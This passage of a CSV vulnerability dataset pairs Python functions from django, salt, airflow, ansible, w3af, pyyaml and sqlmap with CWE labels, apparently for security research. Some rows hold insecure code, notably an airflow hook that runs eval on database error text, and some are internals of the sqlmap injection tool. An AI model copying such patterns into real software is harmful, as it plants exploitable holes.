                    ""class_attrib"": format_html(' class=""column-{}""', field_name),
                    ""sortable"": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field

        def make_qs_param(t, n):
            return ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{}""', ' '.join(th_classes)) if th_classes else '',
        }",CWE-79,django/django,37f7ef41fbaebd5f545b99a11ab6036d92f9232b,"def result_headers(cl):
    """"""
    Generates the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model,
            model_admin=cl.model_admin,
            return_attr=True
        )
        if attr:
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    ""text"": text,
                    ""class_attrib"": format_html(' class=""column-{}""', field_name),
                    ""sortable"": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field

        def make_qs_param(t, n):
            return ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{}""', ' '.join(th_classes)) if th_classes else '',
        }"
,UNKNOWN,UNKNOWN,salt/wheel/config.py,1,"def update_config(file_name, yaml_contents):
    '''
    Update master config with
    ``yaml_contents``.

    Writes ``yaml_contents`` to a file named
    ``file_name.conf`` under the folder
    specified by ``default_include``.
    This folder is named ``master.d`` by
    default. Please look at
    :conf_master:`include-configuration`
    for more information.

    Example low data:

    .. code-block:: yaml

        data = {
            'username': 'salt',
            'password': 'salt',
            'fun': 'config.update_config',
            'file_name': 'gui',
            'yaml_contents': {'id': 1},
            'client': 'wheel',
            'eauth': 'pam',
        }
    '''
    file_name = '{0}{1}'.format(file_name, '.conf')
    dir_path = os.path.join(__opts__['config_dir'],
                            os.path.dirname(__opts__['default_include']))
    try:
        yaml_out = yaml.safe_dump(yaml_contents, default_flow_style=False)

        if not os.path.exists(dir_path):
            log.debug('Creating directory {0}'.format(dir_path))
            os.makedirs(dir_path, 0o755)

        file_path = os.path.join(dir_path, file_name)
        with salt.utils.fopen(file_path, 'w') as fp_:
            fp_.write(yaml_out)

        return 'Wrote {0}'.format(file_name)
    except (IOError, OSError, yaml.YAMLError, ValueError) as err:
        return str(err)",CWE-259,saltstack/salt,94d6ef1d173ee6db3186d3591db80ffbbb8c27a9,"def update_config(file_name, yaml_contents):
    '''
    Update master config with
    ``yaml_contents``.

    Writes ``yaml_contents`` to a file named
    ``file_name.conf`` under the folder
    specified by ``default_include``.
    This folder is named ``master.d`` by
    default. Please look at
    http://docs.saltstack.com/en/latest/ref/configuration/master.html#include-configuration
    for more information.

    Example low data::

        data = {
            'username': 'salt',
            'password': 'salt',
            'fun': 'config.update_config',
            'file_name': 'gui',
            'yaml_contents': {'id': 1},
            'client': 'wheel',
            'eauth': 'pam',
        }
    '''
    file_name = '{0}{1}'.format(file_name, '.conf')
    dir_path = os.path.join(__opts__['config_dir'],
                            os.path.dirname(__opts__['default_include']))
    try:
        yaml_out = yaml.safe_dump(yaml_contents, default_flow_style=False)

        if not os.path.exists(dir_path):
            log.debug('Creating directory {0}'.format(dir_path))
            os.makedirs(dir_path, 0o755)

        file_path = os.path.join(dir_path, file_name)
        with salt.utils.fopen(file_path, 'w') as fp_:
            fp_.write(yaml_out)

        return 'Wrote {0}'.format(file_name)
    except (IOError, OSError, yaml.YAMLError, ValueError) as err:
        return str(err)"
,UNKNOWN,UNKNOWN,airflow/hooks/presto_hook.py,1,"def get_pandas_df(self, hql, parameters=None):
        """"""
        Get a pandas dataframe from a sql query.
        """"""
        import pandas
        cursor = self.get_cursor()
        try:
            cursor.execute(self._strip_sql(hql), parameters)
            data = cursor.fetchall()
        except DatabaseError as e:
            obj = eval(str(e))
            raise PrestoException(obj['message'])
        column_descriptions = cursor.description
        if data:
            df = pandas.DataFrame(data)
            df.columns = [c[0] for c in column_descriptions]
        else:
            df = pandas.DataFrame()
        return df",CWE-94,apache/airflow,6f4696ba2ef18d74be8c18080b8ea7b9419608fb,"def get_pandas_df(self, hql, parameters=None):
        """"""
        Get a pandas dataframe from a sql query.
        """"""
        import pandas
        cursor = self.get_cursor()
        cursor.execute(self._strip_sql(hql), parameters)
        try:
            data = cursor.fetchall()
        except DatabaseError as e:
            obj = eval(str(e))
            raise PrestoException(obj['message'])
        column_descriptions = cursor.description
        if data:
            df = pandas.DataFrame(data)
            df.columns = [c[0] for c in column_descriptions]
        else:
            df = pandas.DataFrame()
        return df"
,UNKNOWN,UNKNOWN,test/units/parsing/yaml/test_loader.py,1,"def test_wrong_password(self):
        plaintext = u""Ansible""
        bob_password = ""this is a different password""

        bobs_secret = TextVaultSecret(bob_password)
        bobs_secrets = [('default', bobs_secret)]

        bobs_vault = vault.VaultLib(bobs_secrets)

        ciphertext = bobs_vault.encrypt(plaintext, vault.match_encrypt_secret(bobs_secrets)[1])

        try:
            self.vault.decrypt(ciphertext)
        except Exception as e:
            self.assertIsInstance(e, errors.AnsibleError)
            self.assertEqual(e.message, 'Decryption failed (no vault secrets were found that could decrypt)')",CWE-259,ansible/ansible,fad3a4dc830f008bd740051919fbcdeebb3ddc0f,"def test_wrong_password(self):
        plaintext = u""Ansible""
        bob_password = ""this is a different password""

        bobs_secret = TextVaultSecret(bob_password)
        bobs_secrets = [('default', bobs_secret)]

        bobs_vault = vault.VaultLib(bobs_secrets)

        ciphertext = bobs_vault.encrypt(plaintext, vault.match_encrypt_secret(bobs_secrets)[1])

        try:
            self.vault.decrypt(ciphertext)
        except Exception as e:
            self.assertIsInstance(e, errors.AnsibleError)
            self.assertEqual(e.message, 'Decryption failed (no vault secrets would found that could decrypt)')"
,UNKNOWN,UNKNOWN,lib/core/threads.py,1,"def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
    threads = []

    kb.threadContinue = True
    kb.threadException = False
    kb.technique = ThreadData.technique

    if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
        while True:
            message = ""please enter number of threads? [Enter for %d (current)] "" % numThreads
            choice = readInput(message, default=str(numThreads))
            if choice:
                skipThreadCheck = False
                if choice.endswith('!'):
                    choice = choice[:-1]
                    skipThreadCheck = True
                if choice.isdigit():
                    if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                        errMsg = ""maximum number of used threads is %d avoiding potential connection issues"" % MAX_NUMBER_OF_THREADS
                        logger.critical(errMsg)
                    else:
                        conf.threads = numThreads = int(choice)
                        break

        if numThreads == 1:
            warnMsg = ""running in a single-thread mode. This could take a while""
            logger.warn(warnMsg)

    try:
        if numThreads > 1:
            if startThreadMsg:
                infoMsg = ""starting %d threads"" % numThreads
                logger.info(infoMsg)
        else:
            threadFunction()
            return

        # Start the threads
        for numThread in xrange(numThreads):
            thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])

            setDaemon(thread)

            try:
                thread.start()
            except Exception as ex:
                errMsg = ""error occurred while starting new thread ('%s')"" % ex
                logger.critical(errMsg)
                break

            threads.append(thread)

        # And wait for them to all finish
        alive = True
        while alive:
            alive = False
            for thread in threads:
                if thread.isAlive():
                    alive = True
                    time.sleep(0.1)

    except (KeyboardInterrupt, SqlmapUserQuitException) as ex:
        print()
        kb.prependFlag = False
        kb.threadContinue = False
        kb.threadException = True

        if numThreads > 1:
            logger.info(""waiting for threads to finish%s"" % ("" (Ctrl+C was pressed)"" if isinstance(ex, KeyboardInterrupt) else """"))
        try:
            while (threading.activeCount() > 1):
                pass

        except KeyboardInterrupt:
            raise SqlmapThreadException(""user aborted (Ctrl+C was pressed multiple times)"")

        if forwardException:
            raise

    except (SqlmapConnectionException, SqlmapValueException) as ex:
        print()
        kb.threadException = True
        logger.error(""thread %s: '%s'"" % (threading.currentThread().getName(), ex))

        if conf.get(""verbose"") > 1 and isinstance(ex, SqlmapValueException):
            traceback.print_exc()

    except:
        from lib.core.common import unhandledExceptionMessage

        print()
        kb.threadException = True
        errMsg = unhandledExceptionMessage()
        logger.error(""thread %s: %s"" % (threading.currentThread().getName(), errMsg))
        traceback.print_exc()

    finally:
        kb.threadContinue = True
        kb.threadException = False
        kb.technique = None

        for lock in kb.locks.values():
            if lock.locked():
                try:
                    lock.release()
                except:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)

        if cleanupFunction:
            cleanupFunction()",CWE-703,sqlmapproject/sqlmap,84d0b346e72d1c3f423028a8b1365510a02b5eee,"def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
    threads = []

    kb.threadContinue = True
    kb.threadException = False
    kb.technique = ThreadData.technique

    if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
        while True:
            message = ""please enter number of threads? [Enter for %d (current)] "" % numThreads
            choice = readInput(message, default=str(numThreads))
            if choice:
                skipThreadCheck = False
                if choice.endswith('!'):
                    choice = choice[:-1]
                    skipThreadCheck = True
                if choice.isdigit():
                    if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                        errMsg = ""maximum number of used threads is %d avoiding potential connection issues"" % MAX_NUMBER_OF_THREADS
                        logger.critical(errMsg)
                    else:
                        conf.threads = numThreads = int(choice)
                        break

        if numThreads == 1:
            warnMsg = ""running in a single-thread mode. This could take a while""
            logger.warn(warnMsg)

    try:
        if numThreads > 1:
            if startThreadMsg:
                infoMsg = ""starting %d threads"" % numThreads
                logger.info(infoMsg)
        else:
            threadFunction()
            return

        # Start the threads
        for numThread in xrange(numThreads):
            thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])

            setDaemon(thread)

            try:
                thread.start()
            except Exception as ex:
                errMsg = ""error occurred while starting new thread ('%s')"" % ex
                logger.critical(errMsg)
                break

            threads.append(thread)

        # And wait for them to all finish
        alive = True
        while alive:
            alive = False
            for thread in threads:
                if thread.isAlive():
                    alive = True
                    time.sleep(0.1)

    except (KeyboardInterrupt, SqlmapUserQuitException) as ex:
        print()
        kb.prependFlag = False
        kb.threadContinue = False
        kb.threadException = True

        if numThreads > 1:
            logger.info(""waiting for threads to finish%s"" % ("" (Ctrl+C was pressed)"" if isinstance(ex, KeyboardInterrupt) else """"))
        try:
            while (threading.activeCount() > 1):
                pass

        except KeyboardInterrupt:
            raise SqlmapThreadException(""user aborted (Ctrl+C was pressed multiple times)"")

        if forwardException:
            raise

    except (SqlmapConnectionException, SqlmapValueException) as ex:
        print()
        kb.threadException = True
        logger.error(""thread %s: '%s'"" % (threading.currentThread().getName(), ex))

        if conf.get(""verbose"") > 1:
            traceback.print_exc()

    except:
        from lib.core.common import unhandledExceptionMessage

        print()
        kb.threadException = True
        errMsg = unhandledExceptionMessage()
        logger.error(""thread %s: %s"" % (threading.currentThread().getName(), errMsg))
        traceback.print_exc()

    finally:
        kb.threadContinue = True
        kb.threadException = False
        kb.technique = None

        for lock in kb.locks.values():
            if lock.locked():
                try:
                    lock.release()
                except:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)

        if cleanupFunction:
            cleanupFunction()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/azurearm.py,0,"def list_nodes_full(conn=None, call=None):  # pylint: disable=unused-argument
    '''
    List VMs on this Azure account, with full information
    '''
    if call == 'action':
        raise SaltCloudSystemExit(
            'The list_nodes_full function must be called with -f or --function.'
        )

    global compconn  # pylint: disable=global-statement,invalid-name
    if not compconn:
        compconn = get_conn()

    ret = {}
    for group in list_resource_groups():
        nodes = compconn.virtual_machines.list(group)
        for node in nodes:
            private_ips, public_ips = __get_ips_from_node(group, node)
            ret[node.name] = object_to_dict(node)
            ret[node.name]['id'] = node.id
            ret[node.name]['name'] = node.name
            ret[node.name]['size'] = node.hardware_profile.vm_size
            ret[node.name]['state'] = node.provisioning_state
            ret[node.name]['private_ips'] = private_ips
            ret[node.name]['public_ips'] = public_ips
            ret[node.name]['storage_profile']['data_disks'] = []
            ret[node.name]['resource_group'] = group
            for disk in node.storage_profile.data_disks:
                ret[node.name]['storage_profile']['data_disks'].append(make_safe(disk))
            try:
                ret[node.name]['image'] = '|'.join((
                    ret[node.name]['storage_profile']['image_reference']['publisher'],
                    ret[node.name]['storage_profile']['image_reference']['offer'],
                    ret[node.name]['storage_profile']['image_reference']['sku'],
                    ret[node.name]['storage_profile']['image_reference']['version'],
                ))
            except TypeError:
                try:
                    ret[node.name]['image'] = ret[node.name]['storage_profile']['os_disk']['image']['uri']
                except TypeError:
                    ret[node.name]['image'] = None
    return ret",,saltstack/salt,92f18907011b80c72577524a465c910c8943f6f9,"def list_nodes_full(conn=None, call=None):  # pylint: disable=unused-argument
    '''
    List VMs on this Azure account, with full information
    '''
    if call == 'action':
        raise SaltCloudSystemExit(
            'The list_nodes_full function must be called with -f or --function.'
        )

    global compconn  # pylint: disable=global-statement,invalid-name
    if not compconn:
        compconn = get_conn()

    ret = {}
    for group in list_resource_groups():
        nodes = compconn.virtual_machines.list(group)
        for node in nodes:
            ret[node.name] = object_to_dict(node)
            ret[node.name]['id'] = node.id
            ret[node.name]['name'] = node.name
            ret[node.name]['size'] = node.hardware_profile.vm_size
            ret[node.name]['state'] = node.provisioning_state
            ret[node.name]['private_ips'] = node.network_profile.network_interfaces
            ret[node.name]['public_ips'] = node.network_profile.network_interfaces
            ret[node.name]['storage_profile']['data_disks'] = []
            ret[node.name]['resource_group'] = group
            for disk in node.storage_profile.data_disks:
                ret[node.name]['storage_profile']['data_disks'].append(make_safe(disk))
            try:
                ret[node.name]['image'] = '|'.join((
                    ret[node.name]['storage_profile']['image_reference']['publisher'],
                    ret[node.name]['storage_profile']['image_reference']['offer'],
                    ret[node.name]['storage_profile']['image_reference']['sku'],
                    ret[node.name]['storage_profile']['image_reference']['version'],
                ))
            except TypeError:
                try:
                    ret[node.name]['image'] = ret[node.name]['storage_profile']['os_disk']['image']['uri']
                except TypeError:
                    ret[node.name]['image'] = None
    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/path_utils.py,0,"def create_volume_if_missing(volume_name: str):
    from airflow_breeze.utils.run_utils import run_command

    res_inspect = run_command(
        cmd=[""docker"", ""volume"", ""inspect"", volume_name], stdout=subprocess.DEVNULL, check=False
    )
    if res_inspect.returncode != 0:
        run_command(cmd=[""docker"", ""volume"", ""create"", volume_name], check=True)",CWE-Unknown,apache/airflow,5c7b7993b8338b465e658adc18651675134d52e7,"def create_volume_if_missing(volume_name: str):
    from airflow_breeze.utils.run_utils import run_command

    res_inspect = run_command(cmd=[""docker"", ""inspect"", volume_name], stdout=subprocess.DEVNULL, check=False)
    if res_inspect.returncode != 0:
        run_command(cmd=[""docker"", ""volume"", ""create"", volume_name], check=True)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/cli.py,0,"def key_value(argparse, value):  # type: (argparse_module, str) -> t.Tuple[str, str]
    """"""Type parsing and validation for argparse key/value pairs separated by an '=' character.""""""
    parts = value.split('=')

    if len(parts) != 2:
        raise argparse.ArgumentTypeError('""%s"" must be in the format ""key=value""' % value)

    return parts[0], parts[1]",,ansible/ansible,73fadc5e97b6ddcc9c8f901bdafe0653aad19523,"def key_value(argparse, value):  # type: (argparse_module, str) -> t.Tuple[str, str]
    """"""Type parsing and validation for argparse key/value pairs separated by an '=' character.""""""
    parts = value.split('=')

    if len(parts) != 2:
        raise argparse.ArgumentTypeError('""%s"" must be in the format ""key=value""' % value)

    return parts[0], parts[1]"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/audit/test_xss.py,0,"def test_found_xss_with_redirect(self):
        cfg = self._run_configs['cfg']
        self._scan(self.XSS_302_URL, cfg['plugins'])
        
        xss_vulns = self.kb.get('xss', 'xss')
        kb_data = self.normalize_kb_data(xss_vulns)
        
        expected = [
            ('302.php', 'x', ('x',)),
            ('302.php', 'a', ('a',)),
            ('printer.php', 'a', ('a', 'added',)),
            ('printer.php', 'added', ('a', 'added',)),
            ('printer.php', 'added', ('added',)),
            ('printer.php', 'x', ('x', 'added')),
            ('printer.php', 'added', ('x', 'added'))
        ]
        expected_data = self.normalize_expected_data(self.XSS_302_URL,
                                                     expected)
        
        self.assertEquals(
            set(expected_data),
            set(kb_data),
        )",,andresriancho/w3af,b6c1e78c485fad2f58cac602fe75df6684993d41,"def test_found_xss_with_redirect(self):
        cfg = self._run_configs['cfg']
        self._scan(self.XSS_302_URL, cfg['plugins'])
        
        xss_vulns = self.kb.get('xss', 'xss')
        kb_data = self.normalize_kb_data(xss_vulns)
        
        expected = [
            ('302.php', 'x', ('x',)),
            ('302.php', 'a', ('a',)),
            ('printer.php', 'a', ('a', 'added',)),
            ('printer.php', 'added', ('a', 'added',)),
            ('printer.php', 'added', ('added',)),
            ('printer.php', 'x', ('x', 'added')),
            ('printer.php', 'added', ('x', 'added'))
        ]
        expected_data = self.normalize_expected_data(self.XSS_302_URL,
                                                     expected)
        
        self.assertEquals(
            set(expected_data),
            set(kb_data),
        )"
,UNKNOWN,UNKNOWN,tests/template_tests/filter_tests/test_make_list.py,1,"def test_make_list02(self):
        output = self.engine.render_to_string('make_list02', {""a"": mark_safe(""&"")})
        self.assertEqual(output, str_prefix(""[%(_)s&#39;&amp;&#39;]""))",CWE-79,django/django,92053acbb9160862c3e743a99ed8ccff8d4f8fd6,"def test_make_list02(self):
        output = self.engine.render_to_string('make_list02', {""a"": mark_safe(""&"")})
        self.assertEqual(output, str_prefix(""[%(_)s&#39;&amp;&#39;]""))"
,UNKNOWN,UNKNOWN,tests/backends/mysql/test_introspection.py,1,"def test_get_storage_engine(self):
        table_name = ""test_storage_engine""
        create_sql = ""CREATE TABLE %s (id INTEGER) ENGINE = %%s"" % table_name
        drop_sql = ""DROP TABLE %s"" % table_name
        default_connection = connections[""default""]
        other_connection = connections[""other""]
        try:
            with default_connection.cursor() as cursor:
                cursor.execute(create_sql % ""InnoDB"")
                self.assertEqual(
                    default_connection.introspection.get_storage_engine(
                        cursor, table_name
                    ),
                    ""InnoDB"",
                )
            with other_connection.cursor() as cursor:
                cursor.execute(create_sql % ""MyISAM"")
                self.assertEqual(
                    other_connection.introspection.get_storage_engine(
                        cursor, table_name
                    ),
                    ""MyISAM"",
                )
        finally:
            with default_connection.cursor() as cursor:
                cursor.execute(drop_sql)
            with other_connection.cursor() as cursor:
                cursor.execute(drop_sql)",CWE-89,django/django,68a8996bdfce2d191decd7b1c1a2b9fdea8e4b2f,"def test_get_storage_engine(self):
        table_name = ""test_storage_engine""
        create_sql = ""CREATE TABLE %s (id INTEGER) ENGINE = %%s"" % table_name
        drop_sql = ""DROP TABLE %s"" % table_name
        default_connection = connections[""default""]
        other_connection = connections[""other""]
        try:
            with default_connection.cursor() as cursor:
                cursor.execute(create_sql % ""InnoDB"")
                self.assertEqual(
                    default_connection.introspection.get_storage_engine(
                        cursor, table_name
                    ),
                    ""InnoDB"",
                )
            with other_connection.cursor() as cursor:
                cursor.execute(create_sql % ""MyISAM"")
                self.assertEqual(
                    other_connection.introspection.get_storage_engine(
                        cursor, table_name
                    ),
                    ""MyISAM"",
                )
        finally:
            with default_connection.cursor() as cursor:
                cursor.execute(drop_sql)
            with other_connection.cursor() as cursor:
                cursor.execute(drop_sql)"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/emitter.py,0,"def __init__(self, stream, canonical=None, indent=None, width=None,
            allow_unicode=None, line_break=None):

        # The stream should have the methods `write` and possibly `flush`.
        self.stream = stream

        # Encoding can be overridden by STREAM-START.
        self.encoding = None

        # Emitter is a state machine with a stack of states to handle nested
        # structures.
        self.states = []
        self.state = self.expect_stream_start

        # Current event and the event queue.
        self.events = []
        self.event = None

        # The current indentation level and the stack of previous indents.
        self.indents = []
        self.indent = None

        # Flow level.
        self.flow_level = 0

        # Contexts.
        self.root_context = False
        self.sequence_context = False
        self.mapping_context = False
        self.simple_key_context = False

        # Characteristics of the last emitted character:
        #  - current position.
        #  - is it a whitespace?
        #  - is it an indention character
        #    (indentation space, '-', '?', or ':')?
        self.line = 0
        self.column = 0
        self.whitespace = True
        self.indention = True

        # Whether the document requires an explicit document indicator
        self.open_ended = False

        # Formatting details.
        self.canonical = canonical
        self.allow_unicode = allow_unicode
        self.best_indent = 2
        if indent and 1 < indent < 10:
            self.best_indent = indent
        self.best_width = 80
        if width and width > self.best_indent*2:
            self.best_width = width
        self.best_line_break = '\n'
        if line_break in ['\r', '\n', '\r\n']:
            self.best_line_break = line_break

        # Tag prefixes.
        self.tag_prefixes = None

        # Prepared anchor and tag.
        self.prepared_anchor = None
        self.prepared_tag = None

        # Scalar analysis and style.
        self.analysis = None
        self.style = None",,yaml/pyyaml,d856c206fd4bfd71254e0d69e9d5e31bef5d2c0f,"def __init__(self, stream, canonical=None, indent=None, width=None,
            allow_unicode=None, line_break=None):

        # The stream should have the methods `write` and possibly `flush`.
        self.stream = stream

        # Encoding can be overriden by STREAM-START.
        self.encoding = None

        # Emitter is a state machine with a stack of states to handle nested
        # structures.
        self.states = []
        self.state = self.expect_stream_start

        # Current event and the event queue.
        self.events = []
        self.event = None

        # The current indentation level and the stack of previous indents.
        self.indents = []
        self.indent = None

        # Flow level.
        self.flow_level = 0

        # Contexts.
        self.root_context = False
        self.sequence_context = False
        self.mapping_context = False
        self.simple_key_context = False

        # Characteristics of the last emitted character:
        #  - current position.
        #  - is it a whitespace?
        #  - is it an indention character
        #    (indentation space, '-', '?', or ':')?
        self.line = 0
        self.column = 0
        self.whitespace = True
        self.indention = True

        # Whether the document requires an explicit document indicator
        self.open_ended = False

        # Formatting details.
        self.canonical = canonical
        self.allow_unicode = allow_unicode
        self.best_indent = 2
        if indent and 1 < indent < 10:
            self.best_indent = indent
        self.best_width = 80
        if width and width > self.best_indent*2:
            self.best_width = width
        self.best_line_break = '\n'
        if line_break in ['\r', '\n', '\r\n']:
            self.best_line_break = line_break

        # Tag prefixes.
        self.tag_prefixes = None

        # Prepared anchor and tag.
        self.prepared_anchor = None
        self.prepared_tag = None

        # Scalar analysis and style.
        self.analysis = None
        self.style = None"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/resume.py,0,"def resume(expression, payload):
    """"""
    This function can be called to resume part or entire output of a
    SQL injection query output.
    """"""
    try:
        if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
            return None

        condition = (
                      kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                      and expression in kb.resumedQueries[conf.url].keys()
                    )

        if not condition:
            return None

        resumedValue = kb.resumedQueries[conf.url][expression]

        if not resumedValue:
            return None

        resumedValue = resumedValue.replace(""__NEWLINE__"", ""\n"").replace(""__TAB__"", ""\t"")

        if resumedValue[-1] == ""]"":
            resumedValue = resumedValue[:-1]

            infoMsg  = ""read from file '%s': "" % conf.sessionFile
            logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)

            if logValue:
                logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
            else:
                logValue = resumedValue

            if ""\n"" in logValue:
                infoMsg += ""%s..."" % logValue.split(""\n"")[0]
            else:
                infoMsg += logValue

            logger.info(infoMsg)

            return resumedValue

        # If we called this function without providing a payload it means that
        # we have called it from lib/request/inject __goInband() function
        # in UNION query (inband) SQL injection so we return to the calling
        # function so that the query output will be retrieved taking advantage
        # of the inband SQL injection vulnerability.
        if not payload:
            return None

        if not kb.dbms:
            return None

        substringQuery = queries[kb.dbms].substring
        select = re.search(""\ASELECT "", expression, re.I)

        _, length, regExpr = queryOutputLength(expression, payload)

        if not length:
            return None

        if len(resumedValue) == int(length):
            infoMsg  = ""read from file '%s': "" % conf.sessionFile
            infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
            logger.info(infoMsg)

            dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

            return resumedValue
        elif len(resumedValue) < int(length):
            infoMsg  = ""resumed from file '%s': "" % conf.sessionFile
            infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
            logger.info(infoMsg)

            dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

            if select:
                newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
            else:
                newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))

            missingCharsLength = int(length) - len(resumedValue)

            infoMsg  = ""retrieving pending %d query "" % missingCharsLength
            infoMsg += ""output characters""
            logger.info(infoMsg)

            start = time.time()
            count, finalValue = bisection(payload, newExpr, length=missingCharsLength)

            debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

            if len(finalValue) != ( int(length) - len(resumedValue) ):
                warnMsg  = ""the total length of the query is not ""
                warnMsg += ""right, sqlmap is going to retrieve the ""
                warnMsg += ""query value from the beginning now""
                logger.warn(warnMsg)

                return None

            return ""%s%s"" % (resumedValue, finalValue)

        return None
    except:
        errMsg = ""invalid resume value for expression: '%s'"" % expression
        logger.error(errMsg)
        return None",,sqlmapproject/sqlmap,43a3ac2c3ac06dfeb5702b6593c47652b7e042dd,"def resume(expression, payload):
    """"""
    This function can be called to resume part or entire output of a
    SQL injection query output.
    """"""

    if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
        return None

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if not condition:
        return None

    resumedValue = kb.resumedQueries[conf.url][expression]

    if not resumedValue:
        return None

    resumedValue = resumedValue.replace(""__NEWLINE__"", ""\n"").replace(""__TAB__"", ""\t"")

    if resumedValue[-1] == ""]"":
        resumedValue = resumedValue[:-1]

        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)

        if logValue:
            logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
        else:
            logValue = resumedValue

        if ""\n"" in logValue:
            infoMsg += ""%s..."" % logValue.split(""\n"")[0]
        else:
            infoMsg += logValue

        logger.info(infoMsg)

        return resumedValue

    # If we called this function without providing a payload it means that
    # we have called it from lib/request/inject __goInband() function
    # in UNION query (inband) SQL injection so we return to the calling
    # function so that the query output will be retrieved taking advantage
